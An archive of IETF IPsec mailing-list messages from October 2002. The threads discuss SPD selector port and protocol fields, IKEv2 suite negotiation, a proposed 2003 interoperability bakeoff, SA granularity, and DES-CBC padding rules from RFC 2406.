From owner-ipsec@lists.tislabs.com Tue Oct 1 08:29:27 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g91FTPv09279; Tue, 1 Oct 2002 08:29:26 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA05856 Tue, 1 Oct 2002 10:34:57 -0400 (EDT) Message-ID: <3D99B261.6060300@isi.edu> Date: Tue, 01 Oct 2002 07:34:09 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mikael.Latvala@nokia.com CC: ipsec@lists.tislabs.com Subject: Re: Protocol and port fields in selectors References: <9B2635C00D654F4CA36B89C22364F0C30154B7AD@esebe008.ntc.nokia.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Mikael.Latvala@nokia.com wrote: > Undoubtedly true what you are saying. However, consider a typical scenario where a security administrator wants to configure a security policy for some application layer protocol, e.g. SIP. SIP is currently using UDP and TCP but will start using SCTP "really" soon. > > In that case the security administrator must configure 3 identical > SPD entries, one for each transport layer protocol. Not only that this > administrative nightmare could be easily prevented by the use of > wildcards but the number of both SPD and SAD entries could be reduced > thus improving the performance of IPsec engine. Yikes. So, basically, in the name of performance (how much, given all the other matching?), you're willing to set an SA that might match protocols not intended. I.e., there is NO guarantee that the application protocol will get the same port number for SCTP that it has for TCP and UDP. There are a number of ports which are defined only for TCP or UDP (i.e., NOT reserved or allocated for the other), or which only make sense for one protocol. What you'd be doing is opening a hole in the name of performance. > What if the administrator needs to configure a different policy for > lower layer protocols, e.g. ICMP or EGP? Then the SA should specify those protocols, for which the port fields of the SA should have NO meaning. > In that case the IPsec engine > should be smart enough to perform some sort of "longest selector match". Longest match requires contiguity. In IP, the mask can't have a few bits set in the middle, and let the top and bottom bits float. In this case, it's the same - you shouldn't be able to spec the port UNTIL you spec a transport protocol. > If a SPD entry specifies a port number but a protocol on top of IP does > not use port, then there is no match and IPsec engine continues > searching for a correct match. As it should. That entry would then be underspecified. > RFC2401 is very vague about this particular issue. Regardless, the rest of the Internet specs aren't. Ports don't EXIST except in relation to a specific transport (i.e., next layer inside IP) protocol. Joe > touch@isi.edu wrote: > >>sakari.poussa@nokia.com wrote: >> >>>Hi, >>> >>>I have a question about protocol and src/dst port fields in the SAD selectors. >>> >>>Is it allowed to have the protocol field as wildcard and still specify src/dst >>>port as a specific value? Or is it so that transport layer protocol which actually >>>has ports (like TCP/UDP/SCTP) must be specified along with the ports. >>> >>>I guess it is the latter case according to the rfc2401, page 20 table, but >>>I just wanted to be sure. >> >>Not all transport protocols even have ports (e.g., IP, ICMP, and EGP are >>all 'transport' protocols, and none have ports). The port field is >>defined only relative to a particular transport protocol. >> >>To cover multiple protocols under one port (e.g., TCP/NFS and UDP/NFS) >>seems to require multiple selectors. > From owner-ipsec@lists.tislabs.com Tue Oct 1 10:41:50 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g91Hfnv19050; Tue, 1 Oct 2002 10:41:50 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA06121 Tue, 1 Oct 2002 13:03:33 -0400 (EDT) From: Black_David@emc.com Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C3A7@CORPMX14> To: Radia.Perlman@sun.com, ipsec@lists.tislabs.com Subject: Merged IKE - suites and negotiation Date: Tue, 1 Oct 2002 13:03:32 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk > For instance, although I still prefer > suites, I'm not exactly sure how the ESP/AH > extended sequence numbers are supposed to work, now that we're not > individually negotiating features. I guess it will be defined as part > of the suite (not only what cryptographic algorithms are used, but > whether ESP/AH extended sequence numbers will be used). What about viewing suites as one component of a multi-component negotiation, where each component is negotiated independently as in IKEv2? I'm concerned about things like the extended sequence number and options related to transport processing - there's currently an SA attribute related to ECN, and I can't be sure that another won't arise as part of allowing outer to inner DSCP (Differentiated Services Code Point) propagation at tunnel egress. These don't feel like natural parts of a crypto suite, and in essence demanding that everything be part of an all-encompassing suite only works in 20/20 hindsight. I got bit by the analogous structure of IKEv1 proposals in the ECN work; if one actually tries to use the ECN Tunnel SA attribute, it can easily double the number of proposals that need to be offered. I'd sure like to see IKEv2 not repeat this problem or make it worse. Having the humility to admit that we might not have anticipated everything that ought to be part of IKE would be a good thing. Thanks, --David From owner-ipsec@lists.tislabs.com Wed Oct 2 15:50:09 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g92Mo9v18624; Wed, 2 Oct 2002 15:50:09 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id SAA08846 Wed, 2 Oct 2002 18:02:23 -0400 (EDT) Message-ID: <00eb01c26a5f$55a1a710$32d46b80@amer.cisco.com> From: "Scott Fanning" To: "Philippe Cousin" , "Paul Hoffman / VPNC" , "Ghislaine Labouret" , References: <4091553999CBE4409CC2B562152B5A333311E3@email10.etsihq.org> Subject: Re: Potential bakeoff in France in 2003 Date: Wed, 2 Oct 2002 15:01:54 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I would also like to know what would be the primary benefits of a bakeoff at this time. I would think AES (in its various modes), NAT-T and maybe some ipsra work as well. Are there specific issues that you see need to be tested? Scott ----- Original Message ----- From: "Philippe Cousin" To: "Paul Hoffman / VPNC" ; "Ghislaine Labouret" ; Sent: Friday, September 27, 2002 3:13 AM Subject: RE: Potential bakeoff in France in 2003 > It will be about 500 Euros per participant > regards > philippe > > -----Original Message----- > From: Paul Hoffman / VPNC [mailto:paul.hoffman@vpnc.org] > Sent: Thu 26/09/2002 20:02 > To: Ghislaine Labouret; ipsec@lists.tislabs.com > Cc: Philippe Cousin > Subject: Re: Potential bakeoff in France in 2003 > > > > At 9:10 AM +0200 9/26/02, Ghislaine Labouret wrote: > >At the Yokohama IETF, people asked if there were plans for a new IPsec > >bakeoff. The ETSI Interoperability Service, called Plugtests (currently > >organizing an IPv6 interoperability event) is willing to organize one in > >France in 2003, in particular as funding support from EU can be found. > >See more info on the service at www.etsi.org/plugtests > > Could you give us a guess about how much participation might cost per > person or per company? > > --Paul Hoffman, Director > --VPN Consortium > > From owner-ipsec@lists.tislabs.com Thu Oct 3 08:13:04 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g93FD3v05008; Thu, 3 Oct 2002 08:13:03 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA09957 Thu, 3 Oct 2002 10:07:40 -0400 (EDT) X-Mimeole: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Subject: RE: Potential bakeoff in France in 2003 Date: Thu, 3 Oct 2002 11:34:34 +0200 Message-ID: <4091553999CBE4409CC2B562152B5A332A48E1@email10.etsihq.org> Thread-Topic: Potential bakeoff in France in 2003 Thread-Index: AcJqX1wUrzUNk+slRQeFFGOimM+hlwAYHBeQ From: "Philippe Cousin" To: "Scott Fanning" , "Paul Hoffman / VPNC" , "Ghislaine Labouret" , X-OriginalArrivalTime: 03 Oct 2002 09:34:34.0980 (UTC) FILETIME=[15AE3A40:01C26AC0] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by lists.tislabs.com id FAA09648 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk As far as the organisation by the ETSI Interoperability Service is concerned, we are only providing the support (logistics, fund from EU if any, ..). We are at disposal of the community to define the interesting topics/sub-topics as long as enough participants/interests are foreseen. philippe -----Original Message----- From: Scott Fanning [mailto:sfanning@cisco.com] Sent: 03 October 2002 00:02 To: Philippe Cousin; Paul Hoffman / VPNC; Ghislaine Labouret; ipsec@lists.tislabs.com Subject: Re: Potential bakeoff in France in 2003 I would also like to know what would be the primary benefits of a bakeoff at this time. I would think AES (in its various modes), NAT-T and maybe some ipsra work as well. Are there specific issues that you see need to be tested? Scott ----- Original Message ----- From: "Philippe Cousin" To: "Paul Hoffman / VPNC" ; "Ghislaine Labouret" ; Sent: Friday, September 27, 2002 3:13 AM Subject: RE: Potential bakeoff in France in 2003 > It will be about 500 Euros per participant > regards > philippe > > -----Original Message----- > From: Paul Hoffman / VPNC [mailto:paul.hoffman@vpnc.org] > Sent: Thu 26/09/2002 20:02 > To: Ghislaine Labouret; ipsec@lists.tislabs.com > Cc: Philippe Cousin > Subject: Re: Potential bakeoff in France in 2003 > > > > At 9:10 AM +0200 9/26/02, Ghislaine Labouret wrote: > >At the Yokohama IETF, people asked if there were plans for a new IPsec > >bakeoff. The ETSI Interoperability Service, called Plugtests (currently > >organizing an IPv6 interoperability event) is willing to organize one in > >France in 2003, in particular as funding support from EU can be found. > >See more info on the service at www.etsi.org/plugtests > > Could you give us a guess about how much participation might cost per > person or per company? > > --Paul Hoffman, Director > --VPN Consortium > > From owner-ipsec@lists.tislabs.com Thu Oct 3 08:13:05 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g93FD4v05022; Thu, 3 Oct 2002 08:13:04 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA09949 Thu, 3 Oct 2002 10:02:39 -0400 (EDT) From: pierluigimarra@blu.it Message-ID: <9175382.1033640116217.JavaMail.dynamo@dyn2> Date: Thu, 3 Oct 2002 12:15:16 +0200 (CEST) Reply-To: pierluigimarra@blu.it To: ipsec@lists.tislabs.com Subject: SA granularity Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=22690265.1033640116205.JavaMail.dynamo.dyn2 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --22690265.1033640116205.JavaMail.dynamo.dyn2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-BluMail: MTkzLjIwNC43Ny4yMzQtNTEyMjQy I'm wondering about SA granularity, Could someone help me, please? in rfc 2401 pag. 14 I read : "..For every IPsec implementation, there MUST be an administrative interfac= e that allows a user or system administrator to manage the SPD. Specificall= y, every inbound or outbound packet is subject to processing by IPsec and t= he SPD must specify what action will be taken in each case. Thus the admini= strative interface must allow the user (or system administrator) to specify= the security processing to be applied to any packet entering or exiting th= e system, on a packet by packet basis. (In a host IPsec implementation maki= ng use of a socket interface, the SPD may not need to be consulted on a per= packet basis, but the effect is still the same.) The management interface = for the SPD MUST allow creation of entries consistent with the selectors de= fined in Section 4.4.2, and MUST support (total) ordering of these entries.= It is expected that through the use of wildcards in various selector field= s, and because all packets on a single UDP or TCP connection will tend to m= atch a single SPD entry, this requirement will not impose an unreasonably d= etailed level of SPD specification. The selectors are analogous to what are= found in a stateless firewall or filtering router and which are currently = manageable this way..." My questions are: 1) Could be granularity so fine to associate TCP connections to SAs ? (1:1= ) 2) Could receiver, dynamically, forces (or almost indicate) to the sender a= bout the policy of mapping (e.g. force sender to use different SAs for diff= erent TCP connections)? Thanks in advance, Pierluigi --22690265.1033640116205.JavaMail.dynamo.dyn2-- From owner-ipsec@lists.tislabs.com Thu Oct 3 10:02:35 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g93H2Yv09332; Thu, 3 Oct 2002 10:02:34 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA10273 Thu, 3 Oct 2002 11:22:54 -0400 (EDT) Message-ID: <001301c26af0$a5e663f0$32d46b80@amer.cisco.com> From: "Scott Fanning" To: "Philippe Cousin" , "Paul Hoffman / VPNC" , "Ghislaine Labouret" , References: <4091553999CBE4409CC2B562152B5A332A48E1@email10.etsihq.org> Subject: Re: Potential bakeoff in France in 2003 Date: Thu, 3 Oct 2002 08:22:12 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk So, I guess the question still stands to the wider audience. Is it time for a new round of baking? :-) In Finland there seemed to be an audience for it. Lets see what the consensus is. Scott ----- Original Message ----- From: "Philippe Cousin" To: "Scott Fanning" ; "Paul Hoffman / VPNC" ; "Ghislaine Labouret" ; Sent: Thursday, October 03, 2002 2:34 AM Subject: RE: Potential bakeoff in France in 2003 > As far as the organisation by the ETSI Interoperability Service is concerned, we are only providing the support (logistics, fund from EU if any, ..). We are at disposal of the community to define the interesting topics/sub-topics as long as enough participants/interests are foreseen. > > philippe > > -----Original Message----- > From: Scott Fanning [mailto:sfanning@cisco.com] > Sent: 03 October 2002 00:02 > To: Philippe Cousin; Paul Hoffman / VPNC; Ghislaine Labouret; > ipsec@lists.tislabs.com > Subject: Re: Potential bakeoff in France in 2003 > > > I would also like to know what would be the primary benefits of a bakeoff at > this time. I would think AES (in its various modes), NAT-T and maybe some > ipsra work as well. Are there specific issues that you see need to be > tested? > > Scott > ----- Original Message ----- > From: "Philippe Cousin" > To: "Paul Hoffman / VPNC" ; "Ghislaine Labouret" > ; > Sent: Friday, September 27, 2002 3:13 AM > Subject: RE: Potential bakeoff in France in 2003 > > > > It will be about 500 Euros per participant > > regards > > philippe > > > > -----Original Message----- > > From: Paul Hoffman / VPNC [mailto:paul.hoffman@vpnc.org] > > Sent: Thu 26/09/2002 20:02 > > To: Ghislaine Labouret; ipsec@lists.tislabs.com > > Cc: Philippe Cousin > > Subject: Re: Potential bakeoff in France in 2003 > > > > > > > > At 9:10 AM +0200 9/26/02, Ghislaine Labouret wrote: > > >At the Yokohama IETF, people asked if there were plans for a new IPsec > > >bakeoff. The ETSI Interoperability Service, called Plugtests (currently > > >organizing an IPv6 interoperability event) is willing to organize one in > > >France in 2003, in particular as funding support from EU can be found. > > >See more info on the service at www.etsi.org/plugtests > > > > Could you give us a guess about how much participation might cost per > > person or per company? > > > > --Paul Hoffman, Director > > --VPN Consortium > > > > From owner-ipsec@lists.tislabs.com Thu Oct 3 11:25:15 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g93IPEv14495; Thu, 3 Oct 2002 11:25:14 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA10427 Thu, 3 Oct 2002 12:47:04 -0400 (EDT) Message-ID: <20021003164710.44293.qmail@web21309.mail.yahoo.com> Date: Thu, 3 Oct 2002 09:47:10 -0700 (PDT) From: SatishK Amara Subject: Re: SA granularity To: pierluigimarra@blu.it, ipsec@lists.tislabs.com In-Reply-To: <9175382.1033640116217.JavaMail.dynamo@dyn2> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --- pierluigimarra@blu.it wrote: > I'm wondering about SA granularity, > Could someone help me, please? > > in rfc 2401 pag. 14 I read : > > "..For every IPsec implementation, there MUST be an > administrative interface that allows a user or > system administrator to manage the SPD. > Specifically, every inbound or outbound packet is > subject to processing by IPsec and the SPD must > specify what action will be taken in each case. Thus > the administrative interface must allow the user (or > system administrator) to specify the security > processing to be applied to any packet entering or > exiting the system, on a packet by packet basis. (In > a host IPsec implementation making use of a socket > interface, the SPD may not need to be consulted on a > per packet basis, but the effect is still the same.) > The management interface for the SPD MUST allow > creation of entries consistent with the selectors > defined in Section 4.4.2, and MUST support (total) > ordering of these entries. It is expected that > through the use of wildcards in various selector > fields, and because all packets on a single UDP or > TCP connection will tend to match a single SPD > entry, this requirement will not impose an > unreasonably detailed level of SPD specification. > The selectors are analogous to what are found in a > stateless firewall or filtering router and which are > currently manageable this way..." > > My questions are: > 1) Could be granularity so fine to associate TCP > connections to SAs ? (1:1) Yes > 2) Could receiver, dynamically, forces (or almost > indicate) to the sender about the policy of mapping > (e.g. force sender to use different SAs for > different TCP connections)? No, may be in IKEv2 > > Thanks in advance, > Pierluigi ===== In natural science, Nature has given us a world and we're just to discover its laws. In computers, we can stuff laws into it and create a world -- Alan Kay __________________________________________________ Do you Yahoo!? New DSL Internet Access from SBC & Yahoo! http://sbc.yahoo.com From owner-ipsec@lists.tislabs.com Thu Oct 3 12:15:20 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g93JFJv16175; Thu, 3 Oct 2002 12:15:19 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA10657 Thu, 3 Oct 2002 14:31:38 -0400 (EDT) Message-ID: <001301c26af0$a5e663f0$32d46b80@amer.cisco.com> From: "Scott Fanning" To: "Philippe Cousin" , "Paul Hoffman / VPNC" , "Ghislaine Labouret" , References: <4091553999CBE4409CC2B562152B5A332A48E1@email10.etsihq.org> Subject: Re: Potential bakeoff in France in 2003 Date: Thu, 3 Oct 2002 08:22:12 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk So, I guess the question still stands to the wider audience. Is it time for a new round of baking? :-) In Finland there seemed to be an audience for it. Lets see what the consensus is. Scott ----- Original Message ----- From: "Philippe Cousin" To: "Scott Fanning" ; "Paul Hoffman / VPNC" ; "Ghislaine Labouret" ; Sent: Thursday, October 03, 2002 2:34 AM Subject: RE: Potential bakeoff in France in 2003 > As far as the organisation by the ETSI Interoperability Service is concerned, we are only providing the support (logistics, fund from EU if any, ..). We are at disposal of the community to define the interesting topics/sub-topics as long as enough participants/interests are foreseen. > > philippe > > -----Original Message----- > From: Scott Fanning [mailto:sfanning@cisco.com] > Sent: 03 October 2002 00:02 > To: Philippe Cousin; Paul Hoffman / VPNC; Ghislaine Labouret; > ipsec@lists.tislabs.com > Subject: Re: Potential bakeoff in France in 2003 > > > I would also like to know what would be the primary benefits of a bakeoff at > this time. I would think AES (in its various modes), NAT-T and maybe some > ipsra work as well. Are there specific issues that you see need to be > tested? > > Scott > ----- Original Message ----- > From: "Philippe Cousin" > To: "Paul Hoffman / VPNC" ; "Ghislaine Labouret" > ; > Sent: Friday, September 27, 2002 3:13 AM > Subject: RE: Potential bakeoff in France in 2003 > > > > It will be about 500 Euros per participant > > regards > > philippe > > > > -----Original Message----- > > From: Paul Hoffman / VPNC [mailto:paul.hoffman@vpnc.org] > > Sent: Thu 26/09/2002 20:02 > > To: Ghislaine Labouret; ipsec@lists.tislabs.com > > Cc: Philippe Cousin > > Subject: Re: Potential bakeoff in France in 2003 > > > > > > > > At 9:10 AM +0200 9/26/02, Ghislaine Labouret wrote: > > >At the Yokohama IETF, people asked if there were plans for a new IPsec > > >bakeoff. The ETSI Interoperability Service, called Plugtests (currently > > >organizing an IPv6 interoperability event) is willing to organize one in > > >France in 2003, in particular as funding support from EU can be found. > > >See more info on the service at www.etsi.org/plugtests > > > > Could you give us a guess about how much participation might cost per > > person or per company? > > > > --Paul Hoffman, Director > > --VPN Consortium > > > > From owner-ipsec@lists.tislabs.com Thu Oct 3 14:15:51 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g93LFov21963; Thu, 3 Oct 2002 14:15:50 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA10894 Thu, 3 Oct 2002 16:41:41 -0400 (EDT) Date: 3 Oct 2002 16:22:47 -0400 Message-ID: <007801c26b1a$a4270ea0$1e72788a@ca.alcatel.com> From: "Andrew Krywaniuk" Reply-To: andrew.krywaniuk@alcatel.com To: "'Scott Fanning'" , " 'ipsec'" Subject: RE: Potential bakeoff in France in 2003 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <001301c26af0$a5e663f0$32d46b80@amer.cisco.com> Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Umm... surprised no one else has mentioned this, but it would be nice if IKEv2 was stable enough by 2-3 months before the next bakeoff so that we could all get some prototypes ready. Andrew ------------------------------------------- There are no rules, only regulations. Luckily, history has shown that with time, hard work, and lots of love, anyone can be a technocrat. > -----Original Message----- > From: owner-ipsec@lists.tislabs.com > [mailto:owner-ipsec@lists.tislabs.com]On Behalf Of Scott Fanning > Sent: Thursday, October 03, 2002 11:22 AM > To: Philippe Cousin; Paul Hoffman / VPNC; Ghislaine Labouret; > ipsec@lists.tislabs.com > Subject: Re: Potential bakeoff in France in 2003 > > > So, I guess the question still stands to the wider audience. > Is it time for > a new round of baking? :-) In Finland there seemed to be an > audience for it. > Lets see what the consensus is. > > Scott > ----- Original Message ----- > From: "Philippe Cousin" > To: "Scott Fanning" ; "Paul Hoffman / VPNC" > ; "Ghislaine Labouret" > ; > > Sent: Thursday, October 03, 2002 2:34 AM > Subject: RE: Potential bakeoff in France in 2003 > > > > As far as the organisation by the ETSI Interoperability Service is > concerned, we are only providing the support (logistics, fund > from EU if > any, ..). We are at disposal of the community to define the > interesting > topics/sub-topics as long as enough participants/interests > are foreseen. > > > > philippe > > > > -----Original Message----- > > From: Scott Fanning [mailto:sfanning@cisco.com] > > Sent: 03 October 2002 00:02 > > To: Philippe Cousin; Paul Hoffman / VPNC; Ghislaine Labouret; > > ipsec@lists.tislabs.com > > Subject: Re: Potential bakeoff in France in 2003 > > > > > > I would also like to know what would be the primary > benefits of a bakeoff > at > > this time. I would think AES (in its various modes), NAT-T > and maybe some > > ipsra work as well. Are there specific issues that you see > need to be > > tested? > > > > Scott > > ----- Original Message ----- > > From: "Philippe Cousin" > > To: "Paul Hoffman / VPNC" ; > "Ghislaine Labouret" > > ; > > Sent: Friday, September 27, 2002 3:13 AM > > Subject: RE: Potential bakeoff in France in 2003 > > > > > > > It will be about 500 Euros per participant > > > regards > > > philippe > > > > > > -----Original Message----- > > > From: Paul Hoffman / VPNC [mailto:paul.hoffman@vpnc.org] > > > Sent: Thu 26/09/2002 20:02 > > > To: Ghislaine Labouret; ipsec@lists.tislabs.com > > > Cc: Philippe Cousin > > > Subject: Re: Potential bakeoff in France in 2003 > > > > > > > > > > > > At 9:10 AM +0200 9/26/02, Ghislaine Labouret wrote: > > > >At the Yokohama IETF, people asked if there were plans > for a new IPsec > > > >bakeoff. The ETSI Interoperability Service, called > Plugtests (currently > > > >organizing an IPv6 interoperability event) is willing to > organize one > in > > > >France in 2003, in particular as funding support from EU > can be found. > > > >See more info on the service at www.etsi.org/plugtests > > > > > > Could you give us a guess about how much participation > might cost per > > > person or per company? > > > > > > --Paul Hoffman, Director > > > --VPN Consortium > > > > > > > From owner-ipsec@lists.tislabs.com Thu Oct 3 22:47:27 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g945lQv17062; Thu, 3 Oct 2002 22:47:26 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id BAA11669 Fri, 4 Oct 2002 01:13:32 -0400 (EDT) To: SatishK Amara Cc: pierluigimarra@blu.it, ipsec@lists.tislabs.com Subject: Re: SA granularity References: <20021003164710.44293.qmail@web21309.mail.yahoo.com> From: Wes Hardaker X-Face: #qW^}a%m*T^{A:Cp}$R\"38+d}41-Z}uU8,r%F#c#s:~Nzp0G9](s?,K49KJ]s"*7gvRgA SrAvQc4@/}L7Qc=w{)]ACO\R{LF@S{pXfojjjGg6c;q6{~C}CxC^^&~(F]`1W)%9j/iS/ IM",B1M.?{w8ckLTYD'`|kTr\i\cgY)P4 Organization: Network Associates Laboratories Date: Thu, 03 Oct 2002 22:12:31 -0700 In-Reply-To: <20021003164710.44293.qmail@web21309.mail.yahoo.com> (SatishK Amara's message of "Thu, 3 Oct 2002 09:47:10 -0700 (PDT)") Message-ID: Lines: 16 User-Agent: Gnus/5.090008 (Oort Gnus v0.08) XEmacs/21.5 (brussels sprouts, i686-pc-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipsec@lists.tislabs.com Precedence: bulk >>>>> On Thu, 3 Oct 2002 09:47:10 -0700 (PDT), SatishK Amara said: >> 2) Could receiver, dynamically, forces (or almost >> indicate) to the sender about the policy of mapping >> (e.g. force sender to use different SAs for >> different TCP connections)? SatishK> No, may be in IKEv2 Though you can drop packets from the sender if they do the wrong thing, in your eyes (ie, use the wrong SA which doesn't meet your policy requirements). -- Wes Hardaker Network Associates Laboratories From owner-ipsec@lists.tislabs.com Fri Oct 4 06:36:44 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g94Dahv08049; Fri, 4 Oct 2002 06:36:43 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA12503 Fri, 4 Oct 2002 09:02:42 -0400 (EDT) Date: Fri, 4 Oct 2002 15:37:42 +0530 (IST) From: Rishi Bhardwaj To: ipsec@lists.tislabs.com Subject: DES-CBC padding Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi I am not sure about the padding to be used for DES-CBC mode when it is used in IPSec ESP. Can i use random data for padding? If so, can the IV be used for this purpose? Or will i have to follow the procedure outlined in RFC 2406 and pad the last block using a monotonically increasing sequence? Regards rishi From owner-ipsec@lists.tislabs.com Fri Oct 4 07:55:55 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g94Etsv11317; Fri, 4 Oct 2002 07:55:54 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA12702 Fri, 4 Oct 2002 10:19:22 -0400 (EDT) Reply-To: From: "Joseph D. Harwood" To: "'Rishi Bhardwaj'" , Subject: RE: DES-CBC padding Date: Fri, 4 Oct 2002 07:19:11 -0700 Organization: Vesta Corporation Message-ID: <002201c26bb1$02eac940$beb9fea9@Yellowstone> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Loop-Detect: 1 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hello Rishi, >From RFC2406 (ESP): If Padding bytes are needed but the encryption algorithm does not specify the padding contents, then the following default processing MUST be used. The Padding bytes are initialized with a series of (unsigned, 1-byte) integer values. The first padding byte appended to the plaintext is numbered 1, with subsequent padding bytes making up a monotonically increasing sequence: 1, 2, 3, ... >From RFC245 (DES-CBC): When padding is required, it MUST be done according to the conventions specified in [ESP]. You can find sample packets here: www.vesta-corp.com/VestaRefPktParse_1_00.zip Best Regards, Joseph D. Harwood (408) 838-9434 jharwood@vesta-corp.com www.vesta-corp.com > -----Original Message----- > From: owner-ipsec@lists.tislabs.com [mailto:owner-ipsec@lists.tislabs.com] > On Behalf Of Rishi Bhardwaj > Sent: Friday, October 04, 2002 3:08 AM > To: ipsec@lists.tislabs.com > Subject: DES-CBC padding > > Hi > > I am not sure about the padding to be used for DES-CBC mode when it is > used in IPSec ESP. > Can i use random data for padding? If so, can the IV be used for this > purpose? Or will i have to follow the procedure outlined in RFC 2406 and > pad the last block using a monotonically increasing sequence? > > Regards > > rishi From owner-ipsec@lists.tislabs.com Fri Oct 4 08:07:29 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g94F7Tv12282; Fri, 4 Oct 2002 08:07:29 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA12745 Fri, 4 Oct 2002 10:39:33 -0400 (EDT) Reply-To: From: "Joseph D. Harwood" To: "'Rishi Bhardwaj'" , Subject: RE: DES-CBC padding Date: Fri, 4 Oct 2002 07:19:11 -0700 Organization: Vesta Corporation Message-ID: <002201c26bb1$02eac940$beb9fea9@Yellowstone> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Loop-Detect: 1 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hello Rishi, >From RFC2406 (ESP): If Padding bytes are needed but the encryption algorithm does not specify the padding contents, then the following default processing MUST be used. The Padding bytes are initialized with a series of (unsigned, 1-byte) integer values. The first padding byte appended to the plaintext is numbered 1, with subsequent padding bytes making up a 